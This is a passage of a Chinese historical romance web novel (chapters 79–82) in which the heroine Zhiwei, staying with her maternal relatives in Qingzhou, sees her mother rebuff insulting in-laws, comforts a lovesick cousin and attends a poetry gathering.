她摆摆手,叫花影和月痕赶紧回去休息,外间有外祖家的丫鬟守夜,花影和月痕跟着她们一路也是十分辛苦,知微吩咐二人也去泡个澡好好睡上一觉,明日也不用那么早来伺候,这里一堆人呢。 这院里四个丫鬟两个婆子,够她使唤了。 花影二人听话退下,知微便将自己裹进锦被,很快便睡了过去了。 夜明星稀,忽然一阵凉风吹过,叫守门的婆子打了个寒颤,依稀能听见门轻微晃动的声音,她刚才好似看到了一个黑影飞过去了,她提起脚边的灯笼睁大了眼睛仔细看,虚惊一场,这才放下心来。 而那人影早就进了屋子。 顾铭珏一身墨袍,高大的身影被月光笼罩,他挑着床幔,温柔的注视着床上抱着锦被睡的正香的知微。 她侧着身子,长发散落在脑后,两手抱着,双腿夹着锦被,露出了那细嫩的腰肢,叫男人看了眸色愈发加深,呼吸也渐渐有些粗重。 他的知微,现在就躺在他面前,可是啊,他还是只能看着,不能吃。 叹了口气,还是赶紧娶回家才是。 不然可真的要被憋坏了。 他又细细的打量了知微的睡颜许久,这才转身离去。 许是一路上太累,今日的知微睡的太熟,竟丝毫没有发现男人来过。 但是顾铭珏出去之后就发现自己中毒了…… 并不是什么要命的毒药,只是沾在人身上会又痒又痛。 顾铭珏摇头,如今知微警戒性倒是不错,跟着念秦没白学一场。 叹了口气,无奈从怀中取了例解毒丸塞进嘴里。 道阻且长啊。 还是这个深夜。 赶了半宿夜路宿在野外的宋言澈望着满天星河沉思。 他是被沈大人荐举,同工部的人出来的。 雨季将至,陛下命他们一路往南查验各地堤坝。 他已出来十日,沿途城市加固堤坝的命令已经下去了。 下一站,便是沈大人口中的重中之重,青州。 知微,我来了。 第80章 夏至一过,天便亮的很早了。日光懒洋洋的洒进屋内,一如床 夏至一过,天便亮的很早了。 日光懒洋洋的洒进屋内,一如床上刚打着哈欠坐起来的知微,怎么看怎么透着些慵懒的调调。 心里惦记着要陪母亲用膳,硬是强制自己爬了起来。 室内暗香浮动,花痕和月影听见动静立马进入内室伺候小姐穿衣。 知微抽了抽鼻子,尚未完全清醒过来,她见是二人伺候,问二人怎么不多休息一会。 花影小心的帮她穿上外衣,笑道奴婢已经睡足了。 知微晃了晃脑袋,接过月痕递过来的帕子,擦了擦脸,这才清明几分。 月痕见她这个样子,便知小姐没睡足,安慰道,不若您陪着妇人和老太君用过早膳回来再睡一会。 知微爱睡懒觉,这是整个府上都知道的事情,即使晨起时跟翠儿一同练功,结束之后这人回去不吃早膳也是要再睡上一觉的。 连日的奔波,今日又起的这样早,知微深觉疲惫。 摇了摇头,道毕竟是在外祖家中,我还是不要这么放肆了,给我来杯浓茶吧。 待洗刷过后,灌了杯浓茶,知微这才算是清醒过来。 披了件薄披风,便去陪娘亲用早膳。 高氏见女儿起的这样早,眼睛里俱是疼惜,忙吩咐人再上些知微爱吃的早点。 高氏眼底隐隐有些乌青,知微猜想娘亲定是挂念爹爹他们了。 娘俩简单用了早膳,便至外祖父院里,陪着两位老人说会话。 外祖父的气色一日比一日好了。 知微笑着说了些乡间趣事,好叫二位老人放心,她并未受太多的苦。 只是还未说几句,便听外头下人禀告,聂家大爷来了。 知微还有点云里雾里的,一见来人便明白几分。 是聂斐然的生父和继母。 知微看也不看那俩眼珠子粘在她身上的聂斐然,只乖巧的站在娘亲身侧。 外祖父需要静养。 显然聂家这边的也是常来的,只说了几句便被外祖母带至正厅说话。 知微这才略作打量,聂斐然同他父亲一点不像。 不光是相貌,聂父个子很高,身材宽阔,聂斐然个头虽然也高,但是太瘦弱,站在他父亲身边跟个小鸡仔子似的。 倒是聂斐然的继母,打一进门就时不时的打量知微,她着眼神里多是审视,多少带着恶意,叫知微不是很舒服。 那继母是位同娘亲差不多年纪的美妇人,她笑着将话题引到知微身上,不断夸赞知微的相貌,她唤婢女进门,笑容和煦的牵起知微的手递了一个匣子过去。 一个让知微很眼熟的匣子。 她拍着知微的手道,“斐然那日着急,连家门都没入,倒是差了下人将这个匣子带了出来,说是要送与你,这还是斐然母亲留下的,昨日他又带了回来,说是被你拒了,你这孩子不要不好意思,东西再珍贵,也得有相配的人拿着才行,就当表舅给你的见面礼了,快拿着。咱们家最不缺的就是银钱了。” 说完笑的更加热烈。 知微看向娘亲,高氏点头,她才双手接过,看也没看里头的东西,便递给了身后的花影。 这话反正她是听的有些不太舒服。 她也没去猜想这位聂家继母话里头的意思,便跟几位长辈告了罪,直接出去了。 娘亲看女儿的表情,便知女儿有些不大高兴了,她是听出来这位表嫂的意思了。 富商而已。 实在是有些小家子气。 一小匣子宝石罢了,我堂堂尚书令千金,犯的着惦记你家那三瓜俩枣? 她瞧的分明,斐然一直在往知微的方向看,但是表兄对儿子的心意,应是颇有意见的,从一进正厅,那脸色就不大好了。 刚才斐然追着知微出去时,表兄的面色便沉了下来。 她同母亲对视一眼,母亲点头便道了句有事去了后院,那眼神分明叫她有事不用憋着,母女二人的这般模样倒是一脉相承。 表嫂一直在说些有的没的,高氏应付着,又说到从前聂斐然的娘亲庄心妍在世时同高氏定下的娃娃亲。 高氏摆摆手道:“都是当时的玩笑话,心妍也去了很久了,这事自然算不得数。斐然这孩子算是跟着我长大的,我自是喜欢的,只是知微的事,我们做父母的怕是做不了她得主。” 她话说的委婉,却也没说死,万一二人两情相悦,想办法解决了皇帝的态度,成全孩子们,两家亲上加亲也不是不行。 却听表嫂冷不丁的开口问她知微是不是做过贵人的妾室,若是做过妾室,那跟咱们斐然…… 高氏登时便清醒过来,啪的一声摔了茶盏,直接站了起来。 好家伙,这是看不上我家知微呢! 高氏冷声道:“表兄和表嫂来这一趟,便是为了羞辱我家知微?不知二位从哪里听来的传言,这便问到我这个母亲面前了!呵,请表兄和表嫂放下心来,从前斐然和知微的娃娃亲是我同心妍开玩笑时定下的,没什么信物,在心妍去世后更不作数了,表兄不用担心知微会嫁给斐然!且,外子沈鸿,正二品尚书令!大女儿乃陛下三子亲求的皇子妃,小女儿的婚事也已在陛下嘴里过了明路,要嫁之人!自然不会尔等商贾!” 高氏眼神轻蔑扫视二人,垂眸掸了掸袖口并不存在的尘土,声音不疾不徐,“若不是你我两家有这层亲戚关系,只怕我正二品诰命的身份,二位也是轻易见不到的!还敢置喙我尚书令千金,呵,你自己一个二嫁的妇人,哪家来的脸在我面前说三道四!你倒给我说说,是谁给你们的胆子跑到我面前来造次!” 二人的脸一阵红一阵白,那聂斐然继母当真是没想到高氏这么不给他们面子,竟将这话直接摊开来说,她慌忙解释,“不是,妹妹且不要生气,我只是听了外头的传言,这才,这才口不择言的问了几句,是表嫂之过。” 聂表舅却冷哼一声,打断了妻子的话,直接火上浇油,“我儿优秀!定是要走科举的!要娶也要娶清清白白的女子!你莫不要仗着他沈鸿官职高就诓骗我儿!” “诓骗你儿!聂君山!你良心莫不是叫狗吃了!自心妍去世后斐然在我家一住多少年你都未曾关心过!斐然优秀也是我夫沈鸿一手教养出来的!管你什么事!现在斐然身体好了成了你最看中的嫡长子了!你早干嘛去了!且不要说我沈家看不上你这商贾的身份,就算是我看故去心妍的面子上成全斐然对知微的心意,也必先叫斐然同你这狼心狗肺之徒断了关系!你且看我做不做得!” 不知好歹的东西! 高氏是真的动气了! 两位舅母急匆匆赶来,连忙将高氏安抚了下来,高氏虽气但气势丝毫不怵,敢说她女儿,她必叫你看看我正二品诰命夫人气魄! 走到半路的知微听到这个消息便急匆匆的又返了回去,她面色出奇的冷静,只淡淡的撇了面色惨白的聂斐然一眼,便进了正厅。 只这一眼,叫聂斐然慌了个彻底。 他答应了父亲走科举,父亲也答应了他的请求。父亲明明说他今日是来商量婚事的,怎么又会吵起来? 他只觉两耳轰鸣,眼前的事物隐隐有些乱晃,却还是咬着牙进入正厅。 双方已经被拉开了。 知微站到母亲身前,帮母亲理了理微乱的发丝,叫了句娘亲,后面交给孩儿吧。 她转过了身子,冲着聂家双亲淡淡行礼。 她的眼神平静,看二人如同看个死物。 “难为二位今日一早便上门来羞辱于我,不过知微从小便不是吃亏的性子,叫您二位失望了,奉劝二位,若是二位再叫嚣一句,只怕今日这事,便善解不了了!” 她的声音没什么起伏,连警告的话,也只是淡淡的说出口。 可是二人却谁也没有不敢将这话当回事,沈府的护卫已然进入正厅,叫二人顿时惊慌失措起来。 知微看着二人的表情,忽而笑了起来。 只是笑意并不达眼底,还带着明明白白的警告和不屑,“最后再道一声表舅,舅母,我对斐然表兄没什么男女之情,你们想借事拿捏长子是你们的事情,我们母女这厢便不奉陪了,还请回家去解决,不然,二位就要吃大亏了。” 聂父被知微这个笑容看的汗流浃背,他仿佛看到了一条美女蛇,冷冷的朝他吐着信子。 那继母张了张嘴想要说些道歉的话,因为紧张,半晌却没能发出声音。 只见大舅舅疾步从外头走来,应是已经知道前头发生的事情,面色黑的吓人,怒声道,“且不说她父亲是谁,就凭她是我高家的女儿,就不容你们如此欺辱!来人!送客!” 聂父气的脸红脖子粗,敢怒不敢言,知道这母女他们确实惹不起,扯着妻子的胳膊便怒气冲冲的离开了。 只聂斐然,像是被定住似的,呆愣的站在一旁,好半晌,才对着高氏深深一拜,转身离去。 站在门外不敢进屋的高淮安兄弟俩怕他出事,同父亲点点头,便追了上去。 小辈们也都已经到齐了。 高雅晴在娘亲的示意下,行至知微身旁,小心翼翼的望着她。 知微看看不明所以的小表妹,揉了揉她头发,道了声无事。 高氏已经平复了心情,见两位兄长关切的眼神,无奈扯出了个笑容。 她听了这些话都会气成这番模样,知微可是在皇宫被人羞辱的…… 知微便被表姐表妹给带走散心去了。 她能想到这事是京中的哪位散播出来的,无所谓,君子报仇十年不晚嘛,且等她回去再说不迟。 至于聂斐然,只可远观啊,这人连家里人都搞不定,还妄图搞定她? 知微摇摇头,对着不断说笑话哄她开心的表妹笑了笑,道了声无事,便拉着表姐表妹一起去了小厨房,不开心的话便做些好吃的来吃吃吧! 她刚才眼疾手快给那聂家夫妻下了点药,嘴贱嘛,那便叫他嘴角生疮,嘴巴烂掉喽,恐怕二人得在家修养些时日呢。 偷偷摸了摸腰带,念秦姐姐可是给她带了不少好东西出来呢! 两位舅母却对视一眼,无奈叹了口气,斐然这孩子,真的是可惜了…… 小舅母心中更加懊悔,她是最想撮合知微和斐然的那个,入京伊始见了知微,她便坚定的认为表弟定不会嫌弃知微的过往,毕竟他自己就娶了个和离归家的,可她没想到今日表弟竟说出这般难听的话来! 哎,今日闹成这般,叫斐然如何自处啊! 此时,候在自家姨母院外的江婉儿已经从相熟的下人口中得知这个消息,她拿起帕子轻咳两声,掩盖住上扬的嘴角,做过小妾吗? 残花败柳。 她敛下眸子,还得帮她沈知微散播出去才好。 远远的便见姨母皱着眉头走了回来,她紧走了几步前去迎接,只是走的急了,又咳了几声,身子摇摇晃晃的,一副身子骨不好的样子。 孟氏条件反射似的轻抚着她的脊背,但又想到了昨日知微的话,手上的动作稍有停顿,又见江婉儿咳嗽的厉害,叹了口气,疼爱将猜疑打败,关切的问她怎么穿的这样少,将人带进院内。 江婉儿见姨母这样说,便知昨日的事在姨母那里已经翻过去了,便撒娇道,“婉儿夜里没睡好,想早点过来陪姨母。” 听江婉儿这样说,孟氏的对她便更加怜惜了,她妹子走的早,就这一个女儿,她不疼谁疼? 知微虽也可怜,但是她爹可是二品大员,听说亲事还被天家惦记上了,只怕以后陛下也是要赐婚的,不像她的婉儿,没有娘亲,爹又是个不好的,她不照顾谁照顾。 哎,今日聂家人确实是过分了,斐然是个好孩子,可惜了。 孟氏的眼睛忽然亮了亮,她仔细打量江婉儿,又想到聂斐然,忽的笑了起来。 知微不合适,她们家婉儿可是清清白白的姑娘啊!虽然身体差了点,可他聂斐然的身体不也被神医给调理好了? 她心下打定了注意,决定撮合两人。 孟氏慈爱的注视着江婉儿,柔声道:“婉儿十五了,也及笄了,正是到了谈婚论嫁的年纪,姨母这几日便去求神医帮你调理身体,也好为你说门好亲事。不过。” “不过,眼下姨母觉得斐然就不错,婉儿觉得呢?” 江婉儿咬着唇,一脸的羞涩,半晌红着脸小声道婉儿全凭姨母做主,嘴角的笑容快要抑制不住了,低垂着的眉眼也泛着势在必得的光芒…… 80-90 第81章 这日知微在同高雅晴坐在凉亭嗑瓜子听八卦。那小丫鬟夸张的 这日知微在同高雅晴坐在凉亭嗑瓜子听八卦。 那小丫鬟夸张的比划着,高雅晴捂着嘴,面上虽有惊恐,眼睛里更多的却是幸灾乐祸。 “反正奴婢是听说舅姥爷和夫人是被人诅咒了,不然也不会平白无故的生了脓疮,还是在嘴上,听说都长满了,整个脸都肿了,嘴都张不开,啧啧,吓人的来。” “啊,还有人说是前头夫人气不过他们欺负自己儿子,来找他们,魂体怨气所致呢……” 好家伙,鬼怪都搞出来了,那两张贱嘴怕是的确烂的挺厉害。 知微嘎巴一声,咬了口苹果,嗯,这苹果不错,又脆又甜,好吃。 花影忍着笑给小丫鬟一个银角子,小丫鬟欢天喜地的退下了。 知微一转头却见大表兄不知何时到了亭外,看着她欲言又止的。 知微将苹果放下,擦擦嘴道,“大表兄这是作甚,有话直说便是,若是一直这个眼神看着我,晚上我回去做噩梦怎么办。” 一连几日,聂斐然都十分颓废。 他抱着酒壶,自顾自的喝着酒,谁劝都没用。 高淮安摸摸鼻子,给小妹递了个眼神,小妹虽不明所以但还是听话的离开了。 见小妹走的远了,高淮安才硬着头皮开口,“为兄实在是没有办法了,这才来打扰表妹,是,是斐然那小子钻了牛角尖,这几日一直在酗酒,一整个油盐不进,什么话都听不进去,我们实在劝不动,也不敢告诉长辈,又担心他出事,他身体本就不好,便想叫表妹前去劝劝。” 高淮安没再继续说下去,叫表妹去劝,确实于礼法不合,叫父亲知道估计会打他一顿,但是如今也没旁的法子,他便冒险来找表妹试上一试。 知微不由皱了眉头,聂斐然这是心病啊,她嗯了一声问道,“前日大表兄回来不是同舅舅说然表兄在别庄呢,休息几日想通了便回来了,二表兄也一直陪着的,怎么,他就一直在别庄酗酒?” 高淮安发现知微表妹板起脸来气势特别足,没敢抬头看她,低头嗯了一声,知微便知大概便是如此了。 聂斐然胆子倒挺大,都敢酗酒了,看她回去告不告诉父亲,定叫父亲打他板子! 一点小事都过不去,以后大风大浪可还过得? 心里骂骂咧咧,却还是担心他会出事,决定跟表兄走上一趟,还得将人劝回来才行。 “我这便同娘亲说一声,表兄稍等片刻。” 知微去见娘亲,也没撒谎,将此事一口气讲了个明白。 那日高氏确实被气到了,有些胸闷气短,一直在府上调养。 她心里也是担心聂斐然的,她怕这孩子一冲动再做出什么事来,差人去问了几次,都说他在别庄,想通了便归来。 淮安兄弟俩一直看着他,她倒也放心。 听知微说完,高氏已经起身,要亲自去别庄将斐然给抓回来。 知微见娘亲生气,忙安慰道,“娘亲,还是我去吧,您去的话,他心里只会会更难受,您和父亲都是拿他当亲子来疼的,他是觉得亏欠您和父亲才会如此。” 高氏沉思片刻,叹了口气,从枕头下面摸出来一个荷包,递给了知微。 “这是斐然娘亲留下来的,你拿给他吧,告诉他,他那个爹今后便不要了,有我和你父亲在,谁也不敢小瞧了他去,他娘亲的嫁妆除了一些死物在聂家,其余的都在你外祖母手上,叫他不必担忧以后的事情,娘亲没有怪他,叫他赶紧回来,再敢酗酒,我定不饶他!” 来青州几日了,知微还是头一次出高宅。 天气并不是很好。 阴阴沉沉的,一如聂斐然的心情,乌云密布隐藏着无尽的阴霾。 这是城外的一座宅邸,坐落在山下,与水为临,乃是聂斐然生母的陪嫁。 后院内,大片的杜鹃花盛放,一身白衣的聂斐然摊坐在石凳下,正拿着个酒壶倒酒。 他应是醉的很了,酒杯倒满了他也没有察觉,他呆愣的盯着杯子,片刻后一饮而尽。 未时刚至。 今日虽没有明艳的阳光,但被满院的杜鹃花围绕着的聂斐然,虽身在花丛却还是亮眼夺目。 他给人一种颓废的美感,长发散落遮住了他俊美的五官,微风吹过扬起他额前的头发,他眉心深深蹙起,眼中布满了血丝,面色绯红,一张面容还是美到雌雄莫辨。 他不知想到了什么,冷笑着将酒壶拿了起来,一整个灌进嘴中,酒水顺着他的下巴流了下来,他的领口不知何时已经散开,露出白皙的胸膛,酒水像是珠帘般滑上他精致的锁骨,顺流而下,很快湿了前襟。 知微从远处走来,她身上仿佛背着耀眼的光,缓缓走到他身前。 她站定,轻轻的叹了口气。 她弯下腰,将聂斐然手中的酒壶给放到桌上,直接牵过他的手,将人扶了起来。 聂斐然只呆愣愣的望着她,看她从远处走来,看她光芒万丈。 他的心脏,仿佛涌进了一股暖流,叫他深陷其中,渐渐温热。 知微帮着他将领口拉上。 又拿出帕子,思趁要不要帮他脖间和面上的酒水擦净,一抬眼,却见他睫毛挂满了水珠,眼眸氤氲着水气,在她看向他得那一瞬,水气聚成了斗大的珍珠,啪的一下掉落下来。 知微属实被这美人落泪给看呆了。 是真他妈的美! 她有些迟疑,却还是又拿起了帕子,想要将聂斐然面上的泪珠给擦净。 她的帕子刚要触碰到他的脸,手便被聂斐然抓住了。 他紧闭着眼睛,眼尾通红,将她的手紧紧贴在自己的脸颊。 啪嗒,一大颗泪珠又掉落下来。 知微不住感叹,这无声的哭泣实在太美。 他双眼紧闭,似有无尽的委屈滑落,小模样叫人心疼极了,大颗大颗的泪珠敲击着她的心脏,将礼法忘的一干二净。 半晌,知微终于回神,美色误人啊。 她眨了眨眼睛,试图将自己的手抽出来,她没敢用力,怕惊扰到他,叹了口气,还是叫了声然表兄。 聂斐然鼻尖动了动,缓缓睁开了眼睛。 他的眼眶湿漉漉的,整个人似是快要破碎掉了,他眸中似有千言万语,最终却只是抽了抽鼻子,虽不舍却还是将她的手放开。 趴在某个角落将此情景看的一清二楚的暗夜此时又纠结又苦恼,他该不该如实向侯爷传信呢,叶姨娘她又被这死绿茶给占便宜了! 暗夜咬牙,不男不女!死绿茶! 诚然,知微对聂斐然已经心疼起来。 她朝聂斐然笑了笑,坐到了一旁的石凳上。 她从怀中取出娘亲给的荷包,小心的递了过去。 聂斐然眼眸已经不复刚才的浑浊,他静静的看着知微的动作,待看清荷*包的时候,脑袋忽的清醒了许多。 他接过荷包,轻轻的摩挲着,只一眼他便知这是他娘亲的遗物。 从前,他也有的,母亲的遗物,他有很多很多,但却被父亲给烧了,全都烧了。 知微柔声道:“娘亲叫我告诉你,无论发生了何事,她和爹爹都会护着你,娘亲待你同兄长没什么不同,她不会生自己孩子的气,只会气你整日酗酒伤害身体。” 她试图开解他,“你何必如此在意旁人?你只需在意爱你的关心你的人,不爱你的,像垃圾般扔掉便是,不必为他们伤心难过,本就是无关紧要的人,何必自寻烦恼,对不对。” 聂斐然睫毛轻颤,看向知微的眸子里满是感动和炽热,他嗯了一声,眼神渐渐变得坚定起来,只是说出的话,却是略带迟疑的,“属于我的,我会全部拿回来,只是,你,你不会因此讨厌我吗?” 知微张了张嘴,有些惊讶他为何觉得自己会讨厌他,她摇摇头,轻笑出声,“不会,我对表兄虽无男女之情,却也不会因此讨厌表兄,表兄长的这样好看,哪里会有人讨厌?是表兄多虑了。” 聂斐然张了张嘴,这是第二次听见知微嘴里说对他并无男女之情了…… 但是她说他好看啊,她喜欢他的脸,他的脸叫她喜欢,四舍五入,她早晚会喜欢他这个人的,对不对? 他低垂下眉眼,轻轻的点了点头,知微将他拉了起来,对着外头道了句来人,带着你们家少爷下去梳洗干净。 知微又转身对聂斐然道,“娘亲在外祖家等着呢,然表兄快去将自己收拾干净,来时我已吩咐厨房喂了鸡汤,娘亲说你爱吃馄饨,表兄赶紧收拾,稍后咱们回去做还来得及。” 聂斐然眼睛亮了亮,知微要亲手给他做馄饨? 他任由下人扶着他,一步三回头的走了。 见人走的远了,知微叹了口气,趴在了石桌上。 啊,好累。 花影和月痕忙不迭从外头进来,一个递水一个揉肩,小姐实在辛苦,终于将斐然少爷给哄好了。 暗夜朝远处吹了声口哨,有人马上补上他得位置,他则一阵风似的便飞至了聂斐然院里。 聂斐然已行至自己院内,院门一关,他身子顿时直了起来,他摆摆手叫下人备水,勾了勾唇角,眼中一派清明,哪里有一丝醉酒的模样。 暗夜气的咬牙,死绿茶!又装! 侯爷!快来!家又被偷了! 大半个时辰后,聂斐然终于焕然一新的走了出来。 虽然眼眶还有点血丝,面容浮肿,但是眼神已经清明,脚步也有力许多。 知微将一碗醒酒汤递与他,叫他喝掉,又将人端了碗米粥过来,看着他吃下。 高家两位表兄见此情景终于松了口气,偷摸的给知微竖了个大拇指,知微点点头,莞尔一笑,几人终于踏上了回程的那车。 滴答滴答。 不知何时竟下起了雨。 空气忽然变得湿热。 知微和花影月痕主仆三人一辆马车,在行至一处小桥时马车一阵摇晃。 应是路面不平,雨势较大,车夫看不清路面所致。 花影刚要出声呵斥,知微摇头,告诉她无事,雨大看不清路,叫车夫小心行驶。 说完便百无聊赖的看向窗幔的缝隙,高坡上,是一群身穿官府的人,冒着雨急匆匆的走过。 马车停下让路。 应是雨势来的急,这群官差身上未穿蓑衣,任由衣衫湿透,却还是在大雨中奔波。 他们行至河边,为首的是位年轻的文官,雨水将他身上全部打湿,显露出他修长的身形,高挑,却不瘦弱。他指着桥和河道,不住的在说着什么。 似是感受到了背后目光,他就那么一转头,便同马车内的知微对上了视线。 雨水打湿了他的眼睛,叫他看不真切,但他只这一眼便知马车内的人是谁。 知微越看这人的身形越熟悉,便挑起窗幔,却见那人转身却也望了过来,就那么一下,二人对视上了。 宋言澈? 一阵风吹过,雨水顺势打了进来。 知微有些慌乱,忙放下窗幔。 她抿了抿唇角,问道车上可有雨伞? 花影和月痕虽不知原因,却是点头,快速将雨伞翻找了出来。 知微叫前头车夫靠边停车,嘱咐车夫将雨伞给最前头的宋言澈送去。 车夫是沈府带来的,自是认识宋公子,见宋言澈已经淋湿,忙下车一路小跑着将雨伞送了过去。 前头马车内,聂斐然注意到了后车的动向,看清是宋言澈后,手指不自觉的摩挲着腰间的荷包,闭了闭眼睛。 高淮阳早已看清外头的人,不顾兄长的阻拦,拿了把伞便蹦下车去,过去跟宋言澈说了会话才在兄长的怒视中上了马车。 他鞋袜已经湿了,“是宋言澈宋兄,听说要在青州待上几日,我给留了地址,回头他来府上兄长可以和他探讨下学问,明年你可就下场了。” 高淮安无语的看着二弟,从他的只言片语中他都知道这位跟斐然算是情敌的关系,这人竟然还脑子抽抽将人约到家里去了! 高淮阳还在喋喋不休,高淮安白了这人一眼,叫他闭嘴,车厢都被你弄湿了! 高淮阳哦了一声,这才看到斐然的表情,懊恼的抿了抿嘴,哎吆他这个脑子! 第82章 宋言澈抬头望天,碧空如洗,万里无云,心道应是他想多了。南方本就 风雨过后翌日晴空万里。 宋言澈抬头望天,风和日丽,碧空如洗,心道大约真的是他想多了。 南方本就雨水多,疾风急雨的,昨日那般应是经常发生的事情。 皇命在身,宋言澈并未因此放松警惕,他一早便来盯着加固堤坝,眼看时辰将晚,转头看到茶棚角落知微昨日差人送来的雨伞,心口微热,抬手吩咐手下备车。 今日恰逢青州城诗会。 他猜想知微应是会去的,毕竟知微的大舅乃是青州最大书院的院长,又为此次诗会的评委,如此盛大的诗会,高家的子孙应都会前往一观。 刚好他也收到了当地知府的邀请,自是要去的。 在马车上换了身长衫,简单修整仪容,背靠着车厢休息,一个时辰后,终于到了地方。 宋言澈揉了揉发酸的脖颈,眼神很快清明,迅速的下了马车,由着小厮引入竹林。 这些日子他时刻紧绷着弦,不敢掉以轻心,今日天气不错,权当来诗会放松下心情。 这是一片很大的竹林,满目青翠,一株株苍劲挺拔,直指苍穹。 自古文人偏爱竹,无数文人墨客为竹写下赞美的诗句。 有竹无人孤负竹,有人无竹令人俗。 无竹不雅,也是青州比比皆是竹林的原因。 它高大挺拔,高风亮节,宁折不弯,人们赞美它,歌颂它。 一阵微风吹过,徜徉在竹海里,波浪翻滚,绿意盎然。 车厢内,知微习惯性的靠在高雅若肩头,应是还未睡醒,一双美目半睁,眼尾湿润,被强制性叫醒,眯着眼睛打了个哈欠。 手上的玉扇小巧精致,刚好遮挡住她困倦的面容。 高雅若无奈的拍了拍知微,“马上就要到了,赶快起来喝杯浓茶清醒清醒。” 知微半眯着眼,接过花影递过来的茶盏就往嘴里送,被苦的一激灵,总算是清醒了几分。 心里叹气,谁家好人天不亮就起来参加诗会啊! 这地方离内城需要坐两个时辰的马车,她恨不得待在车厢继续睡。 高雅若摇摇头,时间长了才知道知微表妹是什么性子,她太慵懒,或者说太会享受,想吃就吃,想睡就睡,一点也不会委屈自己。 她将羡慕偷偷藏起,笑着吩咐侍女整理仪容。 知微却摇头拒绝了,她无意出风头。她将发髻两侧的红宝石发簪拔下来,直接插到高雅若的头上。 又将自己耳朵上的同款耳坠扯下,给高雅若换上。 一旁的高雅晴捂嘴偷笑。 今日大姐的未婚夫定是会来的,小表姐这是帮她姐姐打扮呢。 大伯母不准姐姐打扮的太过亮眼,总是叫姐姐穿些素色的衣裳,首饰也就那么几件来回戴,每次打了新首饰,她江婉儿哭一哭,就都被大伯母给了她,害得大姐姐没几件漂亮首饰! 这下好了,今日有小表姐帮着大姐,嘿嘿,看不迷死大姐夫! 知微睡的迷迷糊糊间听到了高雅晴的打趣,这清醒后看到大表姐今日的打扮,便亲自动手帮她收拾仪容。 见未婚夫,可不得打扮的好看点。 她变戏法似的从怀里取出几样东西,眯着眼睛叫高雅若不要乱动,高雅若面上不显,心里却隐隐有些期待,索性心一横闭着眼睛任知微在自己脸上乱来。 知微可没乱来,她浅浅的给高雅若上了一层脂粉,眉毛修剪后简单描摹,又给她涂了层珊瑚色口脂,嫌颜色太深,她还拿帕子擦掉了一些,又用口脂抹在了她面颊当做腮红。 这一下,真的变的更好看了。 人还是那个人,从前总是给人感觉娴静淡雅,而现在是娇艳欲滴的,像颗待摘的水蜜桃。 高雅晴在一旁小声的惊呼,哇,姐姐好好看。 知微笑道,“只是简单涂了个口脂,哪有你说的这样夸张,是若姐姐本来就好看。” 说完看到她身上的素色的衣裙,连朵花都没绣!抿着嘴,明日她就去大表姐的屋里把这些素色长裙都给扔了,全他妈换成艳丽的! 高雅晴看她这表情,便知道是嫌弃大表姐穿的衣服了,撅着嘴小声道,“大伯母说女儿家不能穿的那么招摇,姐姐便一直都是穿的素色衣服……” 知微撇撇嘴,却也没当着高雅若的面说些什么,叹了口气,大表姐怎么就摊上这么个糊涂母亲呢! 今日府上的男丁都出来了。 两个小表弟跟猴儿似的,下了马车便不见了踪影,身后的小厮是拼了命的追。 大表兄在马车外轻唤三位妹妹,知微对高雅若点点头以作鼓励,高雅若深吸口气,转身下了马车。 高淮安看着今日有些不同妹妹,微愣之后却是欣慰的笑开了,母亲不准妹妹过于打扮,自己平时里穿的也很庄重,妹妹很少像眼前这般亮眼,虽还是素色的衣裙,却叫人感觉更鲜活好看了。 他点点头,毫不吝啬自己的夸赞,高雅若头一次被兄长夸,忍不住羞红了脸,却还是大方的点头,转过头谢谢知微。 知微挑挑眉,看着不远处伸长了脖子看着她们这边的青衣男子,叫她赶紧去吧,有人该等急了。 高淮安看着不远处的好友加准妹夫,叹了口气,对高雅晴道,走吧,兄长带你过去。 高雅晴早就看到不远处的手帕交,也小声的询问兄长能不能去找她们。 她早就被斐然哥给收买了,今日她断不会缠着小表姐的! 高淮阳笑着点头,道那我送你过去,转头却给聂斐然递了个眼神,小表妹交给你喽,兄弟抓紧机会。 聂斐然一双狐狸眼亮闪闪的看向知微,面颊微微有些发红,小声道,我带表妹逛逛可好? 知微自是点头,也不去揣摩几人的意思,只跟着聂斐然一起往竹林深处走去。 这里大概是游人常来的地方。 曲水流畅,风景优美,放眼望去是一片青绿随风摇曳。 相隔不远的距离便有一处凉亭,三三两两的年轻男女在亭内休息。 徜徉在竹海里,风儿吹过,连心境都平和了许多。 知微望着不远处的人群,忍不住好奇,“这里怎的这样多人,都是来参加诗会的?” 聂斐然一直注意着她的表情,解释道,“嗯,虽每年的诗会也都很热闹,但是今年来参加的人确实更多了,据说是京中贵人给加了彩头,诗会头名可得千两白银,不少寒门学子听闻纷纷赶来,拿不到头名,前十名也都是有不少银钱可拿的。加上,万一入了贵人的眼,那便也算青云直上了。” 知微点头,果然是钱财的魔力。 她看着周围来来往往的女子,一个个盛装打扮,且都未戴面纱,也是有些好奇。 聂斐然看出了她心中所想,笑着道,“青州虽不比京都繁华,但文人底蕴深厚,在城内基本上家家户户都是供着读书人的,其中不乏女学生,各大书院的女学生非常之多,今日的诗会,也是会有不少女子参加的。” 知微高兴点头,来了兴趣,女诗人!听起来就好厉害!她绝不会吝啬自己的夸赞,彩虹屁定要吹爆! 知微入乡随俗,未戴面纱,只是时不时的拿团扇遮挡半边脸,她今日穿的非常之低调,一身淡粉色长裙,头上也只插了两支鎏金的簪子,所以这一路,并不惹人注意。 倒是聂斐然,因为身材高挑,相貌俊美非常,一路上被不少女子偷看。 更有甚者一路跟在他们身后,就差没过来打招呼了。 突如其来的一声斐然少爷,叫二人停下脚步。 来人步履匆匆,行至聂斐然身前站定,躬身道,“斐然少爷,文先生听说您也来了,叫小的来找您,请您过去一趟。” 聂斐然有些迟疑,文先生是给他开蒙的老师,按礼,他确实应该走上一趟。 知微见此情况,笑道然表兄先去吧,我到前边凉亭坐一会。 聂斐然张了张嘴,还是点头,有些不放心道,“表妹不要走远,斐然稍后便回来。” 知微点头,带着花影去了不远处无人的凉亭歇息。 凉亭乃用竹子所做,建在水上,应是人工凿制的小河,河水清澈见底,鱼儿若隐若现,河道上面铺满了鹅卵石,不知名的野花野草在夹缝中长了出来,开出粉色鲜艳的花朵,叫人忍不住多看两眼。 花影取出帕子擦净围栏和座椅,知微背靠着围栏,没忍住又打了个哈欠。 今日起的实在是早,刚一坐下她便有些困倦。 花影适时递上荷包,知微打开,捏起一块糕点小口的吃着,懒洋洋的看着外头的风景。 一块点心下肚,精神稍好了些,刚要伸个懒腰,眼睛却撇到围栏拐角处冒出的蛇头。 不仔细看还发现不了,是一条通体翠绿的竹叶青,剧毒。 离她只不到一米的距离,竹叶青蓄势待发,眼看要飞扑向她们。 